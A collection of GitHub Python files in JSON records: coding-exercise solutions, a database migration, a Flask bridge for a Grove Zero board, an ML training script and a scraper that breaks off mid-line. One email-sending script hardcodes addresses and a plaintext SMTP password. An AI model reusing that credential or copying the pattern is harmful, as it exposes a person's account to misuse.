+{"seq_id":"12635063120","text":"class TreeNode:\n    def __init__(self, val, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n\ndef count_paths(root, S):\n    def go(root, S, current_path):\n        if root is None:\n            return 0\n\n        current_path.append(root.val)\n        count_ending_here = 0\n        tmp_path_sum = 0\n        for i in range(len(current_path) - 1, -1, -1):\n            tmp_path_sum += current_path[i]\n            if tmp_path_sum == S:\n                count_ending_here += 1\n\n        count_ending_here += go(root.left, S, current_path) + go(\n            root.right, S, current_path\n        )\n        del current_path[-1]\n        return count_ending_here\n\n    return go(root, S, [])\n\n\ndef main():\n    root = TreeNode(12)\n    root.left = TreeNode(7)\n    root.right = TreeNode(1)\n    root.left.left = TreeNode(4)\n    root.right.left = TreeNode(10)\n    root.right.right = TreeNode(5)\n    print(\"Tree has paths: \" + str(count_paths(root, 11)))\n\n\nmain()\n","repo_name":"darraes/coding_questions","sub_path":"v3/_grokking_/09_dfs/05_every_path_to_sum.py","file_name":"05_every_path_to_sum.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"36631557701","text":"\"\"\"create users model\n\nRevision ID: 7eb244fc648b\nRevises: \nCreate Date: 2023-11-12 10:31:57.263357\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '7eb244fc648b'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    op.execute(\"DROP TYPE IF EXISTS user_role_enum;\")\n    op.execute(\n        \"CREATE TYPE user_role_enum as ENUM('client', 'manager', 'admin', 'credit_officer');\"\n    )\n\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('users',\n                    sa.Column('username', sa.String(length=255), nullable=False),\n                    sa.Column('first_name', sa.String(length=255), nullable=False),\n                    sa.Column('last_name', sa.String(length=255), nullable=False),\n                    sa.Column('phone_number', sa.String(length=13), nullable=True),\n                    sa.Column('email', sa.String(length=200), nullable=True),\n                    sa.Column('role',\n                              postgresql.ENUM('client', 'manager', 'admin', 'credit_officer', name='user_role_enum',\n                                              create_type=False), nullable=True),\n                    sa.Column('hashed_password', sa.String(length=300), nullable=True),\n                    sa.Column('id', sa.Integer(), nullable=False),\n                    sa.Column('is_deleted', sa.Boolean(), server_default=sa.text('false'), nullable=True),\n                    sa.PrimaryKeyConstraint('id')\n                    )\n    op.create_index(op.f('ix_users_id'), 'users', ['id'], unique=False)\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_index(op.f('ix_users_id'), table_name='users')\n    op.drop_table('users')\n    op.execute(\"DROP TYPE IF EXISTS user_role_enum;\")\n    # ### end Alembic commands ###\n","repo_name":"amantur02/bankly","sub_path":"alembic/versions/20231112_7eb244fc648b_create_users_model.py","file_name":"20231112_7eb244fc648b_create_users_model.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37234515942","text":"from smtplib import SMTP\nfrom email.header import Header\nfrom email.mime.text import MIMEText\n\n\ndef main():\n    # 请自行修改下面的邮件发送者和接收者\n    sender = 'm297907057@126.com'\n    receivers = ['297907057@qq.com']\n    message = MIMEText('777777', 'plain', 'utf-8')\n    message['From'] = 'm297907057@126.com'\n    message['To'] = '297907057@qq.com'\n    message['Subject'] = '88'\n    smtper = SMTP('smtp.126.com')\n    # 请自行修改下面的登录口令\n    smtper.login(sender, 'aiqing123')\n    smtper.sendmail(sender, receivers, message.as_string())\n    smtper.quit()\n    print('邮件发送完成!')\n\n\nif __name__ == '__main__':\n    main()","repo_name":"mengmenglove/hbxLove","sub_path":"src/knowLedge/emailSend.py","file_name":"emailSend.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19460125701","text":"''' \r\n\tWrite a program to get the length size and shape of series in pandas\r\n\r\n'''\r\n\r\n\r\nimport pandas as pd \r\n\r\ndef main():\r\n\r\n\tlist_ = [10,203,40,40]\r\n\r\n\tseries = pd.Series(list_)\r\n\tprint(\"length of series : \",len(series))\r\n\tprint(\"Shape of  series : \",series.shape)\r\n\tprint(\"Dimension of series :\",series.ndim)\r\n\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"RahulBantode/Pandas_python","sub_path":"Series/application-5.py","file_name":"application-5.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"10734153059","text":"\nfrom flask import Flask, request\nimport logging\nimport serial\nimport numpy as np\nimport threading\nimport time\ntry:\n    import Queue\nexcept ImportError:\n    import queue as Queue\n\napp = Flask(\"GroveZeroServer\")\napp.logger.removeHandler(app.logger.handlers[0])\nhandler = logging.NullHandler()\nformatter = logging.Formatter('%(asctime)s - %(name)14s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\napp.logger.addHandler(handler)\napp.logger.setLevel(logging.INFO)\nlogging.getLogger('werkzeug').addHandler(handler)\nlogging.getLogger('werkzeug').setLevel(logging.INFO)\n\ndevice_state ={\"wasButtonPressed/A\"    : \"false\", \n                \"wasButtonPressed/B\"    : \"false\", \n                \"wasTilted/Up\"          : \"false\",\n                \"wasTilted/Down\"        : \"false\",\n                \"wasTilted/Left\"        : \"false\",\n                \"wasTilted/Right\"       : \"false\",\n                \"lightValue\"            : 0,\n                \"soundValue\"            : 0,\n                \"temperatureValue\"      : 0,\n                \"accelerationValue/X\"   : 0,\n                \"accelerationValue/Y\"   : 0,\n                \"accelerationValue/Z\"   : 0,}\n\ndevice_port = \"/dev/cu.usbmodem1411\"\nis_scratch_connected_count = np.int32(0)\ntask_q = Queue.Queue(maxsize = 30)\n# result_q = Queue.Queue(maxsize = 100)\nresult_q = Queue.Queue(maxsize = 3)\n\nclass serialThread(threading.Thread):\n    def __init__(self, task_queue, result_queue):\n        threading.Thread.__init__(self)\n        self.exit = False\n        self.port = ''\n        self.result_queue = result_queue\n        self.task_queue = task_queue\n\n    def work(self):\n        try:\n            # write command\n            task = self.task_queue.get_nowait()\n        except Queue.Empty:\n            # read value\n            task = 0\n        # read sensors\n        # 1. handle 4.4% timeout \n        # 2. TypeError(check firmware) --- discard data and report error\n        # 3. check length of data --- discard data and report error\n        if task == 0:\n            L = []\n            try:\n                self.port = device_port\n                with serial.Serial(self.port, 115200, timeout=0.2) as ser:\n                    # ser.write('\\x80')\n                    ser.write(bytes([128]))\n                    for i in range(14):\n                        # str object\n                        L.append(ord(ser.read()))\n                    ser.close()\n            except TypeError:\n                L = [250] * 14\n            except Exception:\n                L = [251] * 14                \n            \n            if (len(L) != 14):\n                L = [252] * 14\n\n            try:\n                self.result_queue.put_nowait(L)\n                print(\"queue size: {}\".format(self.result_queue.qsize()))\n            except Queue.Full:\n                pop = self.result_queue.get()\n                self.result_queue.put(L)\n                # pass\n        # display or play music\n        else:\n            try:\n                self.port = device_port\n                with serial.Serial(self.port, 115200, timeout=0.2) as ser:\n                    ser.write(task)\n                    ser.close()\n            except Exception as e:\n                print(e)\n                print(\"can't handle a task\")\n\n    def run(self):\n        while not self.exit:\n            self.work()\n\n@app.route('/poll')\ndef poll():\n    # scratch status various\n    global is_scratch_connected_count\n    is_scratch_connected_count += 1\n\n    try:\n        L = result_q.get_nowait()\n    except Queue.Empty:\n        device_state[\"wasButtonPressed/A\"] = \"false\"\n        device_state[\"wasButtonPressed/B\"] = \"false\"\n        device_state[\"wasTilted/Left\"] = \"false\"\n        device_state[\"wasTilted/Right\"] = \"false\"\n        device_state[\"wasTilted/Up\"] = \"false\"\n        device_state[\"wasTilted/Down\"] = \"false\"\n        return \"\\n\".join([\"{} {}\".format(i, device_state[i]) for i in device_state])\n\n    if (L[0] == 1):\n        device_state[\"wasButtonPressed/A\"] = \"true\"\n        device_state[\"wasButtonPressed/B\"] = \"false\"\n    elif (L[0] == 2):\n        device_state[\"wasButtonPressed/A\"] = \"false\"\n        device_state[\"wasButtonPressed/B\"] = \"true\" \n    elif (L[0] == 250):\n        print(\"_problem Helper app can not communicate with Grove Zero Error 250: port slow\")\n        return \"_problem Helper app can not communicate with Grove Zero Error 250\"\n    elif (L[0] == 251):\n        print(\"_problem Helper app can not communicate with Grove Zero Error 251: wrong firmware or no device\")\n        return \"_problem Helper app can not communicate with Grove Zero Error 251\"\n    elif (L[0] == 252):\n        print(\"_problem Helper app can not communicate with Grove Zero Error 252: unknown\")\n        return \"_problem Helper app can not communicate with Grove Zero Error 252\"\n    else:\n        device_state[\"wasButtonPressed/A\"] = \"false\"\n        device_state[\"wasButtonPressed/B\"] = \"false\"\n\n    device_state[\"temperatureValue\"] = np.int16(L[1] + L[2]*256)\n    device_state[\"lightValue\"] = L[3] + L[4]*256\n    device_state[\"soundValue\"] = L[5] + L[6]*256\n\n    device_state[\"wasTilted/Left\"] = \"false\"\n    device_state[\"wasTilted/Right\"] = \"false\"\n    device_state[\"wasTilted/Up\"] = \"false\"\n    device_state[\"wasTilted/Down\"] = \"false\"\n    \n    if L[7] == 1:\n        device_state[\"wasTilted/Left\"] = \"true\"\n    elif L[7] == 2:\n        device_state[\"wasTilted/Right\"] = \"true\"\n    elif L[7] == 3:\n        device_state[\"wasTilted/Up\"] = \"true\"\n    elif L[7] == 4:\n        device_state[\"wasTilted/Down\"] = \"true\"\n    \n    device_state[\"accelerationValue/X\"] = np.int16(L[8] + L[9]*256)\n    device_state[\"accelerationValue/Y\"] = np.int16(L[10] + L[11]*256)\n    device_state[\"accelerationValue/Z\"] = np.int16(L[12] + L[13]*256)\n\n    return \"\\n\".join([\"{} {}\".format(i, device_state[i]) for i in device_state])\n\n\n@app.route('/displayText/<jobId>/<string:text>')\ndef display_text(jobId, text):\n    # s = '\\x82\\xf0\\x04'\n    s = bytes([130, 240, 4])\n    count = 0\n    for byte in text:\n        # s += '{}'.format(byte)\n        s += bytes(byte,'ascii')\n        count += 1\n        if (count >= 26):\n            break\n    # s += '\\xf7'\n    s += bytes([247])\n    try:\n        task_q.put_nowait(s)\n        addjobID(jobId, count)\n    except Queue.Full:\n        print(\"task queue full\")\n    return \"OK\"\n\n\n@app.route('/displayNumber/<jobId>/<num>')\ndef display_number(jobId, num):\n    # s = '\\x82\\xf0\\x04'\n    s = bytes([130, 240, 4])\n    # s += '{}'.format(num)\n    s += bytes(num,'ascii')\n    # s += '\\xf7'\n    s += bytes([247])\n    try:\n        task_q.put_nowait(s)\n        addjobID(jobId, len('{}'.format(num)))\n    except Queue.Full:\n        print(\"task queue full\")\n    return \"OK\"\n\ngamut_dict = {\"C3\":1, \"C#3\":22, \"D3\":2, \"D#3\":23, \"E3\":3, \"F3\":4, \"F#3\":24, \"G3\":5, \"G#3\":25, \"A3\":6, \"A#3\":26, \"B3\":7,\n               \"C4\":8, \"C#4\":27, \"D4\":9, \"D#4\":28, \"E4\":10, \"F4\":11, \"F#4\":29, \"G4\":12, \"G#4\":30, \"A4\":13, \"A#4\":31, \"B4\":14,\n               \"C5\":15, \"C#5\":32, \"D5\":16, \"D#5\":33, \"E5\":17, \"F5\":18, \"F#5\":34, \"G5\":19, \"G#5\":35, \"A5\":20, \"A#5\":36, \"B5\":21}\n\nbeat_dict = {\"1\":0, \"2\":1, \"4\":2, \"8\":3, \"0.5\":4, \"0.25\":5, \"0.125\":6, \"0.0625\":7}\nbeat_delay_dict = {\"1\":0.5, \"2\":1, \"4\":2, \"8\":4, \"0.5\":0.25, \"0.25\":0.13, \"0.125\":0.07, \"0.0625\":0.04}\n@app.route('/playTone/<jobId>/<gamut>/<scale>/<beat>')\ndef play_tone(jobId, gamut, scale, beat):\n    # s = '\\x81\\xf0\\x01'\n    # s += chr(gamut_dict[gamut+scale])\n    # s += chr(beat_dict[beat])\n    # s += '\\xf7'\n    s = bytes([129, 240, 1])\n    s += bytes([gamut_dict[gamut+scale]])\n    s += bytes([beat_dict[beat]])\n    s += bytes([247])\n    try:\n        task_q.put_nowait(s)\n        addjobID(jobId, beat_delay_dict[beat])\n    except Queue.Full:\n        print(\"task queue full\")\n    return \"OK\"\n\nmelody_dict = {\"BaDing\":0, \"Wawawawaa\":1, \"JumpUp\":2, \"JumpDown\":3, \"PowerUp\":4, \"PowerDown\":5, \"MagicWand\":6, \"Siren\":7}\nmelody_delay_dict = {\"BaDing\":0.5, \"Wawawawaa\":2.63, \"JumpUp\":0.63, \"JumpDown\":0.63, \"PowerUp\":1.13, \"PowerDown\":1.13, \"MagicWand\":2, \"Siren\":3}\n\n@app.route('/playMelody/<jobId>/<melody>')\ndef play_melody(jobId, melody):\n    # s = '\\x81\\xf0\\x03'\n    s = bytes([129, 240, 3])\n    # s += chr(melody_dict[melody])\n    s += bytes([melody_dict[melody]])\n    # s += '\\xf7'\n    s += bytes([247])\n    try:\n        task_q.put_nowait(s)\n        addjobID(jobId, melody_delay_dict[melody])\n    except Queue.Full:\n        print(\"task queue full\")\n    return \"OK\"\n\ndef addjobID(jobID, delay):\n    s = '_busy ' + str(jobID)\n    device_state.setdefault(s, '')\n    timer = threading.Timer(delay, deljobID, [jobID,])\n    timer.start()\n\ndef deljobID(jobID):\n    s = '_busy ' + str(jobID)\n    device_state.pop(s)\n\n@app.route('/reset_all')\ndef reset_all():\n    return \"OK\"\n\n@app.route('/crossdomain.xml')\ndef cross_domain_check():\n    return \"\"\"\n<cross-domain-policy>\n    <allow-access-from domain=\"*\" to-ports=\"32781\"/>\n</cross-domain-policy>\n\"\"\"\n\nt = serialThread(task_q, result_q)\n\ndef run():\n    t.start()\n    app.run('0.0.0.0', port=32781)\n\ndef terminate():\n    t.exit = True\n    func = request.environ.get('werkzeug.server.shutdown')\n    if func is None:\n        raise RuntimeError('Not running with the Werkzeug Server')\n    func()\n\ndef main():\n    run()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"grove-zero-for-scratch/g0-helper-app-python","sub_path":"g0_helper_app/mac/server_new.py","file_name":"server_new.py","file_ext":"py","file_size_in_byte":9240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"12020155898","text":"#You are given an array of variable pairs equations and an array of real numbers values, where equations[i] = [Ai, Bi] and values[i] represent the equation Ai / Bi = values[i]. Each Ai or Bi is a string that represents a single variable.\n\n# You are also given some queries, where queries[j] = [Cj, Dj] represents the jth query where you must find the answer for Cj / Dj = ?.\n\n# Return the answers to all queries. If a single answer cannot be determined, return -1.0.\n\n# Note: The input is always valid. You may assume that evaluating the queries will not result in division by zero and that there is no contradiction.\n\n \n\n# Example 1:\n\n# Input: equations = [[\"a\",\"b\"],[\"b\",\"c\"]], values = [2.0,3.0], queries = [[\"a\",\"c\"],[\"b\",\"a\"],[\"a\",\"e\"],[\"a\",\"a\"],[\"x\",\"x\"]]\n# Output: [6.00000,0.50000,-1.00000,1.00000,-1.00000]\n# Explanation: \n# Given: a / b = 2.0, b / c = 3.0\n# queries are: a / c = ?, b / a = ?, a / e = ?, a / a = ?, x / x = ?\n# return: [6.0, 0.5, -1.0, 1.0, -1.0 ]\n# Example 2:\n\n# Input: equations = [[\"a\",\"b\"],[\"b\",\"c\"],[\"bc\",\"cd\"]], values = [1.5,2.5,5.0], queries = [[\"a\",\"c\"],[\"c\",\"b\"],[\"bc\",\"cd\"],[\"cd\",\"bc\"]]\n# Output: [3.75000,0.40000,5.00000,0.20000]\n# Example 3:\n\n# Input: equations = [[\"a\",\"b\"]], values = [0.5], queries = [[\"a\",\"b\"],[\"b\",\"a\"],[\"a\",\"c\"],[\"x\",\"y\"]]\n# Output: [0.50000,2.00000,-1.00000,-1.00000]\n\n\nfrom typing import List\n\nfrom collections import defaultdict\n\nclass Solution:\n    def calcEquation(self, equations: List[List[str]], values: List[float], queries: List[List[str]]) -> List[float]:\n        # Step 1: Create graph\n        graph = defaultdict(dict)\n        for (a, b), val in zip(equations, values):\n            graph[a][b] = val\n            graph[b][a] = 1/val\n\n        # Step 2: Evaluate queries\n        def dfs(start, end, visited):\n            if start not in graph or end not in graph:\n                return -1.0\n            if end in graph[start]:\n                return graph[start][end]\n            for neighbor, val in graph[start].items():\n                if neighbor not in visited:\n                    visited.add(neighbor)\n                    res = dfs(neighbor, end, visited)\n                    if res != -1.0:\n                        return val * res\n            return -1.0\n\n        res = []\n        for query in queries:\n            res.append(dfs(query[0], query[1], set()))\n\n        return res\n    \n\nif __name__ == \"__main__\":\n    print(Solution().calcEquation([[\"a\",\"b\"],[\"b\",\"c\"]], [2.0,3.0], [[\"a\",\"c\"],[\"b\",\"a\"],[\"a\",\"e\"],[\"a\",\"a\"],[\"x\",\"x\"]]))\n    print(Solution().calcEquation([[\"a\",\"b\"],[\"b\",\"c\"],[\"bc\",\"cd\"]], [1.5,2.5,5.0], [[\"a\",\"c\"],[\"c\",\"b\"],[\"bc\",\"cd\"],[\"cd\",\"bc\"]]))\n    print(Solution().calcEquation([[\"a\",\"b\"]], [0.5], [[\"a\",\"b\"],[\"b\",\"a\"],[\"a\",\"c\"],[\"x\",\"y\"]]))\n    ","repo_name":"Speccy-Rom/Leetcode_aka_speccy-rom","sub_path":"Python problems/Medium/399_Evaluate Division.py","file_name":"399_Evaluate Division.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"1193153455","text":"from typing import List \r\nfrom collections import defaultdict\r\nclass Solution:\r\n    def groupThePeople(self, groupSizes: List[int]) -> List[List[int]]:\r\n        dic = defaultdict(list)\r\n        for idx, val in enumerate(groupSizes):\r\n            dic[val].append(idx)\r\n        \r\n        answer = []\r\n        for k in dic.keys():\r\n            for i in range(0, len(dic[k]), k):\r\n                answer.append(dic[k][i:i + k])\r\n \r\n        return answer","repo_name":"JadeKim042386/LeetCode","sub_path":"May/42Day/Group_the_People_Given_the_Group_Size_They_Belong_To_76ms_14.1mb.py","file_name":"Group_the_People_Given_the_Group_Size_They_Belong_To_76ms_14.1mb.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41744908883","text":"from Objects.Amud1 import Person as P\n\nperson1 = P() #defining person1 as an object instance of the class Person with the name P instead of Person\nperson1.name = input(\"Enter a name: \\n\")\nperson1.age = int(input(\"Enter an age: \\n\"))\nperson1.kids = int(input(\"Enter a number of kids: \\n\"))\n\nperson1.show()\nif person1.has_children() == True:\n    print(\"Has Children\")\nelse:\n    print(\"Dosent have children\")\n\nprint(person1.age_group())","repo_name":"sagibon/FirstPractice.py","sub_path":"Objects/targilobject1.py","file_name":"targilobject1.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14227846972","text":"import calendar\n\nimport numpy as np\n\nfrom matplotlib.patches import Rectangle\n\nimport matplotlib.pyplot as plt\n\ndef plot_calendar(days, months, color):\n\n    plt.figure(figsize=(9, 3))\n\n    # non days are grayed\n\n    ax = plt.gca().axes\n\n    ax.add_patch(Rectangle((29, 2), width=.8, height=.8,\n\n                           color='gray', alpha=.3))\n\n    ax.add_patch(Rectangle((30, 2), width=.8, height=.8,\n\n                           color='gray', alpha=.5))\n\n    ax.add_patch(Rectangle((31, 2), width=.8, height=.8,\n\n                           color='gray', alpha=.5))\n\n    ax.add_patch(Rectangle((31, 4), width=.8, height=.8,\n\n                           color='gray', alpha=.5))\n\n    ax.add_patch(Rectangle((31, 6), width=.8, height=.8,\n\n                           color='gray', alpha=.5))\n\n    ax.add_patch(Rectangle((31, 9), width=.8, height=.8,\n\n                           color='gray', alpha=.5))\n\n    ax.add_patch(Rectangle((31, 11), width=.8, height=.8,\n\n                           color='gray', alpha=.5))\n\n    for d, m, c in zip(days, months, color):\n\n        ax.add_patch(Rectangle((d, m),\n\n                               width=.8, height=.8, color=c))\n\n    plt.yticks(np.arange(1, 13)+.5, list(calendar.month_abbr)[1:])\n\n    plt.xticks(np.arange(1,32)+.5, np.arange(1,32))\n\n    plt.xlim(1, 32)\n\n    plt.ylim(1, 13)\n\n    plt.gca().invert_yaxis()\n\n    # remove borders and ticks\n\n    for spine in plt.gca().spines.values():\n\n        spine.set_visible(False)\n\n    plt.tick_params(top=False, bottom=False, left=False, right=False)\n\n    plt.show()\n\n   \n\nwe = [1,1,1,1,1,12,12,12,12,12,12,12,12,12,12,11,11,11,11,11,11,11,11,11,11]\n\nda = [15, 12, 9, 6, 3, 30, 27, 24, 21, 18, 15, 12, 9, 6, 3, 29, 26, 23, 19, 16, 13, 10, 7, 4, 1 ]\n\nstandardColor = ['C0' for _ in we]\n\n# here we need a fancy algorithm, that marks days green and red depending on a logic but the calender needs to be smarter too\n\n \n\n \n\n \n\n \n\n \n\nplot_calendar(da, we, standardColor)","repo_name":"3xtogo/Faktor8Kalender","sub_path":"FaktorKalender.py","file_name":"FaktorKalender.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"39547754425","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author: lzzhang\n# @Date:   2018-05-09 08:49:54\n# @Last Modified by:   lzzhang\n# @Last Modified time: 2018-05-09 09:17:20\n\nclass Solution:\n    def removeElement(self, nums, val):\n        \"\"\"\n        :type nums: List[int]\n        :type val: int\n        :rtype: int\n        \"\"\"\n        if len(nums) == 0:\n            return 0\n        for i in reversed(range(0,len(nums))):\n            if nums[i] == val:\n                del nums[i]\n        \n        return len(nums)","repo_name":"lzzhang212/PythonEx","sub_path":"LeetCode/027.removeElemetn/removeElements.py","file_name":"removeElements.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4121253353","text":"import os\nimport numpy as np\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\nfrom tqdm import tqdm\nimport logging\nfrom conf import set_logger,set_outdir,set_env\nfrom model.ANFL import MAE_Graph\nfrom utils import *\nfrom dataset.dataset import video_Aff_Wild2_train, video_Aff_Wild2_val\n\nimport argparse\n\ndef par():\n    parser = argparse.ArgumentParser(description='PyTorch Training')\n    # Datasets\n    parser.add_argument('--task', default='AU')\n    parser.add_argument('--dataset', default=\"Aff\", type=str, help=\"experiment dataset BP4D / DISFA\")\n    parser.add_argument('--dataset_path', default='/raid/wangzihan/5th_ABAW')\n    # Param\n    parser.add_argument('-b', '--batch-size', default=16, type=int, metavar='N', help='mini-batch size (default: 128)')\n    parser.add_argument('-lr', '--learning-rate', default=0.0001, type=float, metavar='LR',help='initial learning rate')\n    parser.add_argument('-e', '--epochs', default=2000, type=int, metavar='N', help='number of total epochs to run')\n    parser.add_argument('-j', '--num_workers', default=10, type=int, metavar='N',help='number of data loading workers (default: 4)')\n\n    parser.add_argument('--weight-decay', '-wd', default=5e-4, type=float, metavar='W',help='weight decay (default: 1e-4)')\n    parser.add_argument('--optimizer-eps', default=1e-8, type=float)\n    parser.add_argument('--crop-size', default=224, type=int, help=\"crop size of train/test image data\")\n    parser.add_argument('--length',default=16, type=int, help='frame number of each clip')\n    parser.add_argument('--au_num', default=12, type=int, help='number of au')\n    parser.add_argument('--neighbor_num',default=4,type=int, help='number of neighbor of each au')\n    parser.add_argument('--evaluate', action='store_true', help='evaluation mode')\n\n    # Network and Loss\n    parser.add_argument('--arc', default='mae', type=str, help=\"backbone architecture mae / swin_transformer\")\n    # Device and Seed\n    parser.add_argument('--gpu_ids', type=str, default='2,3', help='gpu ids: e.g. 0  0,1,2, 0,2. use -1 for CPU')\n    parser.add_argument('--seed', default=0, type=int, help='seeding for all random operation')\n\n    # Experiment\n    parser.add_argument('--exp-name', default='', type=str,\n                        help=\"experiment name for saving checkpoints\")\n    parser.add_argument('--resume', default='', type=str, metavar='path',\n                        help='path to latest checkpoint (default: none)')\n\n    return parser.parse_args()\n\ndef get_dataloader(conf):\n    print('==> Preparing data...')\n    if conf.dataset == 'Aff':\n        trainset = video_Aff_Wild2_train(task='AU',root_path=conf.dataset_path, length=conf.length, transform=image_train(crop_size=conf.crop_size), crop_size=conf.crop_size)\n        train_loader = DataLoader(trainset, batch_size=conf.batch_size, shuffle=True, num_workers=conf.num_workers)\n\n        valset = video_Aff_Wild2_val(task='AU',root_path=conf.dataset_path, length=conf.length, transform=image_test(crop_size=conf.crop_size),crop_size=conf.crop_size)\n        val_loader = DataLoader(valset, batch_size=conf.batch_size, shuffle=False, num_workers=conf.num_workers)\n    else:\n        raise ValueError('datasey error')\n    return train_loader, val_loader, len(trainset), len(valset)\n\n\n# Train\ndef train(conf, net, train_loader, optimizer, epoch, criterion):\n    losses = AverageMeter()\n    net.train()\n    train_loader_len = len(train_loader)\n    for batch_idx, (inputs,  targets) in enumerate(tqdm(train_loader)):\n        adjust_learning_rate(optimizer, epoch, conf.epochs, conf.learning_rate, batch_idx, train_loader_len)\n        targets = targets.float()\n        if torch.cuda.is_available():\n            inputs, targets, = inputs.cuda(), targets.cuda()\n        optimizer.zero_grad()\n        outputs = net(inputs)\n        loss = criterion(outputs, targets.view(-1,12))\n        loss.backward()\n        optimizer.step()\n        losses.update(loss.data.item(), outputs.size(0))\n    return losses.avg\n\n# Val\ndef val(net,val_loader,criterion):\n    losses = AverageMeter()\n    net.eval()\n    statistics_list = None\n    for batch_idx, (inputs, targets) in enumerate(tqdm(val_loader)):\n        with torch.no_grad():\n            targets = targets.float()\n            if torch.cuda.is_available():\n                inputs, targets = inputs.cuda(), targets.cuda()\n            outputs = net(inputs)\n            loss = criterion(outputs, targets.view(-1,12))\n            losses.update(loss.data.item(), outputs.size(0))\n            update_list = statistics(outputs, targets.view(-1,12).detach(), 0.5)\n            statistics_list = update_statistics_list(statistics_list, update_list)\n    mean_f1_score, f1_score_list = calc_f1_score(statistics_list)\n    mean_acc, acc_list = calc_acc(statistics_list)\n    return losses.avg, mean_f1_score, f1_score_list, mean_acc, acc_list\n\n\ndef main(conf):\n\n    dataset_info = Aff_Wild2_infolist\n    start_epoch = 0\n    train_loader, val_loader, train_data_num, val_data_num = get_dataloader(conf)\n    train_weight = torch.from_numpy(np.loadtxt(os.path.join(conf.dataset_path, 'annotation', 'AU_Detection_Challenge',\n                                                            'Aff_Wild2_AU_train_weight.txt')))\n\n    net = MAE_Graph(task=conf.task, num_classes=conf.au_num, backbone=conf.arc, neighbor_num=conf.neighbor_num)\n    #net = swin(task=conf.task)\n    if torch.cuda.is_available():\n        net = nn.DataParallel(net).cuda()\n        train_weight = train_weight.cuda()\n\n    #criterion = nn.BCELoss()\n    criterion = WeightedAsymmetricLoss()#weight=train_weight)\n    optimizer = optim.AdamW(net.parameters(), betas=(0.9, 0.999), lr=conf.learning_rate, weight_decay=conf.weight_decay)\n\n    for epoch in range(start_epoch, conf.epochs):\n        lr = optimizer.param_groups[0]['lr']\n        print(\"Epoch: [{} | {} LR: {} ]\".format(epoch + 1, conf.epochs, lr))\n        train_loss = train(conf, net, train_loader, optimizer, epoch, criterion)\n        infostr = {'Epoch:  {}   train_loss: {:.5f}  '.format(epoch + 1, train_loss)}\n        logging.info(infostr)\n\n        # val and save checkpoints\n        if (epoch+1) % 100 == 0:\n            val_loss, val_mean_f1_score, val_f1_score, val_mean_acc, val_acc = val(net, val_loader, criterion)\n            infostr = {'epoch: {} val_loss: {:.5f}  val_mean_f1_score {:.2f},val_mean_acc {:.2f}'.format(epoch+1, val_loss, 100.* val_mean_f1_score, 100.* val_mean_acc)}\n            logging.info(infostr)\n            infostr = {'F1-score-list:'}\n            logging.info(infostr)\n            infostr = dataset_info(val_f1_score)\n            logging.info(infostr)\n            infostr = {'Acc-list:'}\n            logging.info(infostr)\n            infostr = dataset_info(val_acc)\n            logging.info(infostr)\n\n            checkpoint = {\n                'epoch': epoch,\n                'state_dict': net.state_dict(),\n                'optimizer': optimizer.state_dict(),\n            }\n            torch.save(checkpoint, os.path.join(conf.outdir, 'epoch' + str(epoch + 1) + '_model.pth'))\n\nif __name__ == '__main__':\n    conf = par()\n    os.environ['CUDA_VISIBLE_DEVICES'] = conf.gpu_ids\n\n    set_env(conf)\n    # generate outdir name\n    set_outdir(conf)\n    # Set the logger\n    set_logger(conf)\n    main(conf)\n","repo_name":"wzh125/ABAW-5","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7269,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"75080435679","text":"from bs4 import BeautifulSoup as bs4 #per scrap\nimport pandas as pd #per analizzare e creare dataframe\nfrom requests_html import HTMLSession\nimport webbrowser\n\ndef scrapCampionato(num):\n    campionato=[\"https://sports.bwin.it/it/sports/calcio-4/scommesse/italia-20/serie-a-42\"]\n    #italia, champions e europa, inghilterra, spagna, germania, francia, olanda, portogallo\n    risultato=pd.DataFrame(columns=['giorno','ora','match','link'])\n    session = HTMLSession()\n    with session.get(campionato[num]) as res:\n        res.html.render()\n        soup = bs4(res.html.html, 'html5lib')\n        partite = soup.findAll(\"ms-event\",{\"class\":\"grid-event ms-active-highlight\"})\n        for partita in partite:\n            link=partita.find(\"a\",{\"class\":\"grid-event-wrapper\"}).get(\"href\")\n            dataora=partita.find(\"div\",{\"class\":\"badges-wrapper\"}).getText().strip()\n            match=partita.findAll(\"div\",{\"class\":\"participant\"})\n            match=match[0].getText().strip()+\" - \"+match[1].getText().strip()\n            new_row = {'giorno':dataora, 'ora':dataora, 